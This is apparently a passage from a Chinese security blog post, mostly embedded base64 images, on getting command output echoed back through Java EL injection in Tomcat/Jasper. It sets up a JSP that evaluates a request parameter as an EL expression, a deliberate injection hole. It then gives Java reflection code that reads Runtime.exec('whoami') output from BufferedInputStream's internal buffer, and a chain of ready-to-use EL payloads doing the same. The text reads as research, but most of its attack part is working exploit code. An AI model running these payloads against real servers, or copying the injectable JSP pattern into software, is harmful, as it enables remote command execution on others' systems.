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
|
|||
|
|
<p><strong>正好in和BufferedInputStream都是InputStream,且BufferedInputStream还有一个空闲的buf,那么exec的返回值通过调用自身<code>BufferedInputStream()</code>方法,赋值给buf,再通过反射获取,转换成String</strong>就显而易见了。这样就没有通过引入新的类(BufferedReader)完成了BufferedInputStream转换成String</p>
|
|||
|
|
<p><a id=img16 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160816-7340c630-135b-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABIgAAAF7CAYAAAC5ErDTAACqIUlEQVR4nOz9fXQb150neH8vSMkmXiibhEyAlEjYIkAwiSOKlNQ7smRS7onbiiwpMz299uzsmViTTTY50z2S/3Jid/rZcWzF/stSuvc443SO1bvPPLHPTE9bshVrkm2LtGXvxLIoKu6EICnFFG0SoATREvEi6w33+aPw/kagUCgAxPdzjo9FAIW6VXXrVtUP9/6u2Dq4XSKHcOAqjJZVud4mytBqrnQJiKicLgcrXQIiIiIiIioHQ6ULQERERERERERElcUAERERERERERFRnWOAiIiIiIiIiIiozjFARERERERERERU5xggIiIiIiIiIiKqcwwQERERERERERHVuYoHiO7sAFr+mQBEpUtCRERERERERFSfGv/qfx/Ef/rpMOZFGSM0jSsgVq8B7rZBNBkBAPJaGPjcB8OKT2HdFoG5W8B3LIIbC+UrBtWWu6w2XPH7cP8f/XHW9/8wPorQ4uc6l4qIiIiIiIho+Wm8ZLXiHgDzZfhyYRBA11cg7rsfaFyR+h4ArHVB3DkL4B3caQc6v2nA5ZEIPj8DQJahQFQz1jq/grta2nDF78Oq1nuyfqZxxYqsrxMRERERERFRcRrx/nv4uBy9h1asANZvh2i15/9cQ2P8n4YVwOp/boDJKeF7G7i1qH+U6P4/+wH+RcsHZe1VFZH34J9/91vYivKup1atdX4FXc77cfXyxUoXJYO0DuJ/+Tdb0CoELn/4t/jFBxezvqZ7ueQ9+Gf/9lsY+Pwo/s+3fqf7+kkRPw74AK//X8Pw89wmIiIiIqIa0fjysPYPs8IgCgsO5WDsEmjfA8z839kDRG1D38Z3t66GvPR+3gDL/X/2A/zLHgHPG8/j9X9a+kEtIu/B6hZVRa55RqMJDY2NCCxezfq+edVdiNy8iXA4VNZyxIJDWnI++gP8SXfq8VcTyJHyy/j6v9kCnPo5/ia6bLbXqoXz0R/g4burM1AhXX+Kv/h6T+Lvy+9XZTmXgzvuNMHQ2IhrwezndpPlLkRu3cT1a+U9t4mIiIiIqLo1Lv0RFbq+ojo4BAl8/pGE/738vYfkpUu4ZHXhy23DmM/yXB65ZxBbXX5cvGQteNUGcRHv/Kcf4x0AKOODql7rKUbDikZY2+yAEAhcvZLynmXVXbC22eCf95a1DOUIDsUkByCUHj/fwr/Gz4sLEq224i748cnkPOJZ1bO9RgCiwbP9u4G3D+DtycS+sW75Nh7btID//tLzmIrWf+n6U/wvD7TFj0euZaudEBfxP/7vH+N/KH9UujgAgIbGRjRb7RBCIBy4kvKe0XIXmlttWPSX99wmIiIiIqLqp32AqHGFknMoi+veadz0+xC5FkSD5S7csdYJmBLv37zejIvTmxF67wRw62b+9VgXsDDpwtbBr+Cd/5I5pMb+JRdWTy5gwlV4gKieBa5eBSBgbbNF/74CIDU4pHymPAwGAxYXLuLj3/xj/LVbN5eoAyoJ/wg+Or8FD7esBlBEgKjFihYAnyz1GuUk5ZexaZMVC6eOxINDACAm/x6/mKxgwZaxcFA5t5utyrkdCxIlB4fCOXoXERERERFR/Wj8qz/7Mp7NEmBRS1jXZCSkhpQIjp3EjQUf7rB3YcXd9+BWYAHBM+/C8shGSACLfjcue/sRiTRAWNdA+pZ+5P79yAdo+fYWPHTPP+Gdi4mHzYj8MoYeAE7+zIPVLlfKMrH8P9tWR3suyAn8w3P/NZ6HKTkHkRdtSq6ghaP4T5e24LtbV2csE88nlOcz2aTnOspXrlx5kbKVNdd2FSIWFIoFiWT03/55X1mDQwCw4o4mNLdkJqNuaevQfF1S3oPWuwF8Hvtb6a1y16nUHkXJQ7Tu3vV0fJjaxv/1GQzISzj/qRXdnamvnf7Pr+B/+EVKXiIgcwhV7Lt/dd6FP9m8OksPp9zLAlmGaJ17H6eX2OZYjqLXF7bg8c2Jevqrg/81HqyJb/PbwNeSy3DuSDy3USH7Cw98J74OfP0Z/PnXlWF9/7/3lZda8gTnrFu+nXXZX3xwsaT9FtsHG1sT50jGtiNt/0S/I3l70pdLlz60L996cw0DTH79EtrylrsQ4eAVAIgHiSSgBIcu+xgcIiIiIiIiAEDjhMuN++U/aZaoWrS2Zbx23fsJbnw+j7u27oThDmPijcgtRG4HMXf+YVwLtqV8RyEBIswP4+TkFmz9UhveuZh42LRv34KeyQ/wi3ngX6ctYt++DfiHA/iPFxNBmX/x3SFczJPLSPTswb+89Lf4j89dRER+Gf/6L3fjX/zPX8HHSYG1Qj6TT75ynR2fxL/YkzqcThlCB0wcUcptHyp+u7JJDxIpwaErBS+v1p1GU9mGl2Xo2YaBlkn86v/6p4KHAU299WNMuv4Uf76jJR4EApRATeprIum1A/iFPxEgeOzfIiUQIFofwMOfH8HfHIzWEVHYsrHg0PlfPh8ffuV89Af4k1YB+Xn+7RDde/C1D/8Wf3PwYjzQ8/Cur2AqKbG1aH0Aj+14H68fPJAUeNmNf/8oCk6A7f/gZ/jr9zOHiQlxEefO78a67j05vy/XssnlU7PfVj+wDXj7AP4m6f2H/+0QPk8+Jsn7JxpwevzJByDPKevLtc/yybfeyclJPLzDhe7Vw/D7lc9L6yA2rgP+8Ha03FuWLnch0oNEi5d9GUPOiIiIiIiofhk0z8l8hynjpZuXvLjD1pkaHAIAQyOuf3FXSnAo13fkcnZ8Eqsf2Ib7pZKzSOk9ZMXE+D9l/fz88N/HexsZxEX8P+9PAlYrsk+krpCX3sd/OzEfXeZ3GH7fD7jc8XUW+pl88pbr4/dw0m9Fz5cS+8n+JRdWYxK//1j9duXcXhXLVDvR+gAef/IZ/Pn+p/EXX+/Bwqn3iuqBUSgp78E/+yMX/vB2IogkxEX8v29/gIUWF7pXJ392Ar9685+KWlbKL+PrO1y4/OHfpgROJt/8OT66vPSRk5ffx6/fn49+9+9w6pQfWOeGM7kuywn8Kjlo4h/Br7N8Tq2pt36M1z68BNG9B3++/2n8+0e/XNTyavYbAPg/+PvU938zCbRYcXfydyfvH/8IPjqfuj4hfodz5wHcbYW1wH2Rd70T7+H0ghX3uhLn9mqXCy2YxLmJwstdKFkdaZGIiIiIiKgKlW+a+3QaPFhm9fF7OPnAt7B1exs+Hr4I3O9Gj/8D/KePcy8Sm90sUbSJ/OtY8C/dC6eQzywhV7kM4iJ+N+HH1p5etJ2Yhxdt+HKPFZfeP5Jy7IreriwSOYd8AJCRk6hcrl6+iJO//AWazM24e7Uda+77Elbecadm358yFCnaC+Pfr4sN4dHQ6l7c2wK0RodGpbvSAiDaUwQLfnxe7LKw4i4AV/wqk2J/7l+610l6uQBc8i8AaEHrakCLHeb/4Gf4mw9iM8ztwb/ftyWlZ1ZR5Stin6fPaJdxjmTbP2nr+3zBj2KjM7nWq/So8mNgXS+s78/jEtrQvS4zR9OS5S5APOfQZR8gkZGTiIiIiIiI6pv209xfz5wqecVqO0Ljp3HnfV9BQ1Oid9DtwOdosGR50sryHbmkBk+ALz/gwqWJ95RgTVpMKjb0qweT+G8/iuYQ+sqf4v/YU/DqyqKQcnl/P4lLD2zB0P3D+MXFXvRY/Zj4ByVIoNV2JQeHkgNC5Q4Sda64gXUrbmBVw234b4Xwu5nPcWZ2Gr0bH0TzXdmTjDc0NMDd9wDCgavwjH2Amze+KHh9sV4YA9GhPZc0jRApkod/pa29tGWXWc71qbd+jMlYfqR/869wucjcOsny7bfY0LD7MIn//pKyDmVYWmnlX0oh6700OYmFTVuwqWcYv1zoxb0tfnzy9rym5U4ODiUHhBgkIiIiIiKiGIPWXygvz2e8dof9XjTevRqL7/8Sod/9BuHJs7j6P36FxQ//H8ibNwr6jny8Jz7
|
|||
|
|
<p>调用流程如下:</p>
|
|||
|
|
<p><a id=img17 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160705-48b0314e-135b-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAzoAAAEjCAYAAAD693TOAABNv0lEQVR4nO3de1hb550v+u8rCXASbBEnjUVBngbozJQ2TlMuqVSam6POnt1ptoHQ7bMnop701EE+E9I2RuN4T6e5FTsiSQPtBOzePJbPHJ+6CE729BbZcZqyUWJML3ZDmingFkGANLYRwbGNLu/5A9aKJMTNCATi+3kenpolrXe9a0l5ur68v/W+QkopQURERERElEQ0ie4AERERERFRvDHoEBERERFR0mHQISIiIiKipMOgQ0RERERESYdBh4iIiIiIkg6DDhERERERJR0GHSIiIiIiSjoMOkRERERElHQYdIiIiIiIKOkw6BARERERUdJh0CEiIiIioqTDoENEREREREmHQYeIiIiIiJIOgw4RERERESUdBh0iIiIiIko6DDpERERERJR0GHSIiIiIiCjpMOgQEREREVHSYdAhIiIiIqKkw6BDRERERERJh0GHiIiIiIiSDoMOERERERElHQYdIiIiIiJKOgw6RERERESUdBh0iIiIiIgo6TDoEBERERFR0mHQISIiIiKipMOgQ0RERERESYdBh4iIiIiIkg6DDhERERERJR0GHSIiIiIiSjoMOkRERERElHQYdIiIiIiIKOkw6BARERERUdJh0CEiIiIioqTDoENEREREREmHQYeIiIiIiJIOgw4RERERESUdBh0iIiIiIko6DDpERERERJR0GHSIiIiIiCjpMOgQEREREVHSYdAhIiIiIqKkw6BDRERERERJh0GHiIiIiIiSDoMOERERERElHQYdIiIiIiJKOgw6RERERESUdBh0iIiIiIgo6TDoEBERERFR0mHQISIiIiKipMOgQ0RERERESYdBh4iIiIiIkg6DDhERERERJR0GHSIiIiIiSjoMOkRERERElHQYdIiIiIiIKOkw6BARERERUdJh0CEiIiIioqTDoENEREREREmHQWeJ+f3+RHeBiIiIiCjpCSmlTHQnVpMq2/8FCIFbPv7xiZ9bbkZKSkqiu0VERERElFQYdJbYJ8234VnHY/jNqd/ht6ffwG9++zvc8vFNDD5ERERERHHEoLPEbjXfhl++1Kr+7vf78dvfdjH4EBERERHFEYPOEosOOtEYfIiIiIiIFo5BZ4nNFnSiMfgQEREREc0fg84Sm2/QicbgQ0REREQ0Owad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
|
|||
|
|
<p>这样就在没有引入新类的情况下完成了回显</p>
|
|||
|
|
<h2 id=toc-5>环境</h2>
|
|||
|
|
<p>jdk 8u191 + tomcat 8.5.100 + tomcat-jasper 10.1.5</p>
|
|||
|
|
<div class=highlight><pre><span></span><span class=k><%@</span> <span class=n>page</span> <span class=n>contentType</span><span class=o>=</span><span class=s>"text/html; charset=UTF-8"</span> <span class=n>pageEncoding</span><span class=o>=</span><span class=s>"UTF-8"</span><span class=k>%></span>
|
|||
|
|
|
|||
|
|
<span class=k><%@</span> <span class=n>page</span> <span class=n>import</span><span class=o>=</span><span class=s>"org.apache.jasper.runtime.PageContextImpl"</span> <span class=k>%></span>
|
|||
|
|
<span class=k><%</span>
|
|||
|
|
<span class=n>String</span> <span class=n>response</span> <span class=o>=</span> <span class=o>(</span><span class=n>String</span><span class=o>)</span> <span class=n>PageContextImpl</span><span class=o>.</span><span class=na>proprietaryEvaluate</span><span class=o>(</span><span class=n>request</span><span class=o>.</span><span class=na>getParameter</span><span class=o>(</span><span class=s>"expr"</span><span class=o>),</span> <span class=n>String</span><span class=o>.</span><span class=na>class</span><span class=o>,</span> <span class=n>pageContext</span><span class=o>,</span> <span class=kc>null</span><span class=o>);</span>
|
|||
|
|
<span class=n>out</span><span class=o>.</span><span class=na>print</span><span class=o>(</span><span class=n>response</span><span class=o>);</span>
|
|||
|
|
<span class=k>%></span>
|
|||
|
|
</pre></div>
|
|||
|
|
<h2 id=toc-6>构造Payload</h2>
|
|||
|
|
<p>先在java中实现调用链:</p>
|
|||
|
|
<p><em>exec之后需要等待流写入</em></p>
|
|||
|
|
<div class=highlight><pre><span></span><span class=kn>package</span> <span class=nn>runtime</span><span class=o>;</span>
|
|||
|
|
|
|||
|
|
<span class=kn>import</span> <span class=nn>java.io.BufferedInputStream</span><span class=o>;</span>
|
|||
|
|
<span class=kn>import</span> <span class=nn>java.lang.reflect.Field</span><span class=o>;</span>
|
|||
|
|
|
|||
|
|
<span class=kd>public</span> <span class=kd>class</span> <span class=nc>Mainn</span> <span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=kd>static</span> <span class=kt>void</span> <span class=nf>main</span><span class=o>(</span><span class=n>String</span><span class=o>[]</span> <span class=n>args</span><span class=o>)</span> <span class=kd>throws</span> <span class=n>Exception</span><span class=o>{</span>
|
|||
|
|
<span class=n>BufferedInputStream</span> <span class=n>bis</span> <span class=o>=</span> <span class=o>(</span><span class=n>BufferedInputStream</span><span class=o>)</span> <span class=n>Runtime</span><span class=o>.</span><span class=na>getRuntime</span><span class=o>().</span><span class=na>exec</span><span class=o>(</span><span class=s>"whoami"</span><span class=o>).</span><span class=na>getInputStream</span><span class=o>();</span>
|
|||
|
|
|
|||
|
|
<span class=n>Thread</span><span class=o>.</span><span class=na>sleep</span><span class=o>(</span><span class=mi>500</span><span class=o>);</span>
|
|||
|
|
|
|||
|
|
<span class=n>Class</span> <span class=n>bisClazz</span> <span class=o>=</span> <span class=n>Class</span><span class=o>.</span><span class=na>forName</span><span class=o>(</span><span class=s>"java.io.BufferedInputStream"</span><span class=o>);</span>
|
|||
|
|
<span class=n>Field</span> <span class=n>bufField</span> <span class=o>=</span> <span class=n>bisClazz</span><span class=o>.</span><span class=na>getDeclaredField</span><span class=o>(</span><span class=s>"buf"</span><span class=o>);</span>
|
|||
|
|
<span class=n>bufField</span><span class=o>.</span><span class=na>setAccessible</span><span class=o>(</span><span class=kc>true</span><span class=o>);</span>
|
|||
|
|
|
|||
|
|
<span class=n>bis</span><span class=o>.</span><span class=na>read</span><span class=o>((</span><span class=kt>byte</span><span class=o>[])</span> <span class=n>bufField</span><span class=o>.</span><span class=na>get</span><span class=o>(</span><span class=n>bis</span><span class=o>),</span><span class=mi>0</span><span class=o>,</span> <span class=n>bis</span><span class=o>.</span><span class=na>available</span><span class=o>());</span>
|
|||
|
|
|
|||
|
|
<span class=n>String</span> <span class=n>result</span> <span class=o>=</span> <span class=o>(</span><span class=n>String</span><span class=o>)</span> <span class=n>Class</span><span class=o>.</span><span class=na>forName</span><span class=o>(</span><span class=s>"java.lang.String"</span><span class=o>).</span><span class=na>getDeclaredConstructor</span><span class=o>(</span><span class=n>Class</span><span class=o>.</span><span class=na>forName</span><span class=o>(</span><span class=s>"[B"</span><span class=o>),</span> <span class=n>Class</span><span class=o>.</span><span class=na>forName</span><span class=o>(</span><span class=s>"java.lang.String"</span><span class=o>)).</span><span class=na>newInstance</span><span class=o>(</span><span class=n>bufField</span><span class=o>.</span><span class=na>get</span><span class=o>(</span><span class=n>bis</span><span class=o>),</span> <span class=s>"gbk"</span><span class=o>);</span>
|
|||
|
|
|
|||
|
|
<span class=n>System</span><span class=o>.</span><span class=na>out</span><span class=o>.</span><span class=na>println</span><span class=o>(</span><span class=n>result</span><span class=o>);</span>
|
|||
|
|
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
</pre></div>
|
|||
|
|
<p>转写成EL表达式:</p>
|
|||
|
|
<pre><code>${pageContext.setAttribute("is",Runtime.getRuntime().exec("whoami").getInputStream())}
|
|||
|
|
${Thread.sleep(500)}
|
|||
|
|
${pageContext.setAttribute("bufField",Class.forName("java.io.BufferedInputStream").getDeclaredField("buf"))}
|
|||
|
|
${pageContext.getAttribute("bufField").setAccessible(true)}
|
|||
|
|
${pageContext.getAttribute("is").read(pageContext.getAttribute("bufField").get(pageContext.getAttribute("is")),0,pageContext.getAttribute("is").available())}
|
|||
|
|
${Class.forName("java.lang.String").getDeclaredConstructor(Class.forName("[B"),Class.forName("java.lang.String")).newInstance(pageContext.getAttribute("bufField").get(pageContext.getAttribute("is")), "gbk")}</code></pre>
|
|||
|
|
<p><a id=img18 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160638-389180d8-135b-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA7oAAAMRCAYAAADC38pAAAEAAElEQVR4nOy9b4hT59rw++vLvIf0nD6w5jCFzMGCeY/7vKZYMIMemtn2w6wyDxjxATO4wQQL3WkLuqKHmjhQJ/WDzbhhTNwwJgrVWKgkQj3JwJaJUJnMB0tSUBJBmQiVRh6FBDqQwBYMdM5znw8rmUkyK3/mj9Z2rx8sdFbute57rXX/u677uq/rjT//+c8CDYQQ/Nd//Rf/5//5f+LxeNi5cydvvPGGVlIdHR0dHR0dHR0dHR0dndeGPq2TdSH3f/7P/8kXX3zB//yf//NVl0tHR0dHR0dHR0dHR0dHZ138t9YTQgiEEEiSxMmTJ/m//q//67col46Ojo6Ojo6Ojo6Ojo7Oumgr6P4//8//g8lk0s2VdXR0dHR0dHR0dHR0dH5XrBJ0AQYHBzGbzfyv/+v/+qrLo6Ojo6Ojo6Ojo6Ojo6OzIZoE3fpq7v/xf/wf/C//y//yW5VJR0dHR0dHR0dHR0dHR2fdaAq6u3fv5n/73/6336pMOjo6Ojo6Ojo6Ojo6OjrrRtN02WKx6GbLOjo6Ojo6Ojo6Ojo6Or9LNJ1R/e//+/9OX59m5CEdHR0dHR0dHR0dHR0dndcazRVdHR0dHR0dHR0dHR0dHZ3fK7qgq6Ojo6Ojo6Ojo6Ojo/OHQhd0dXR0dHR0dHR0dHR0dP5Q6IKujo6Ojo6Ojo6Ojo6Ozh8KXdDV0dHR0dHR0dHR0dHR+UOhC7o6Ojo6Ojo6Ojo6Ojo6fyh0QVdHR0dHR0dHR0dHR0fnD4Uu6Oro6LzmVMnPTDJ5rdA52VKV0rMSpVJ1Q7nlLrtxH3czebO0ofu8XKpUn//WZfiDU8oRORUktdQ5WXWxROlZicpGqt2zJJPH3biPR8ht4DavK6Wbk7jHgyQeVlb/WHv2zu2tRPKr3t5P7rIb77kYucXOadzHJ0k+66HwWjwO49w9xJAjTPteKUfkuBv3V0k2tSe55WVo9xDOS136Qx2dfzFyl924vwqTeaLx470I7uNuIvc63qHHNlsh+bdPmLyUotB2fOi9z3oteJIhdj1GUquPfl1ZqlLtYdzte/klARZzJO8aGN5rRuol/fMSpUrt/5IR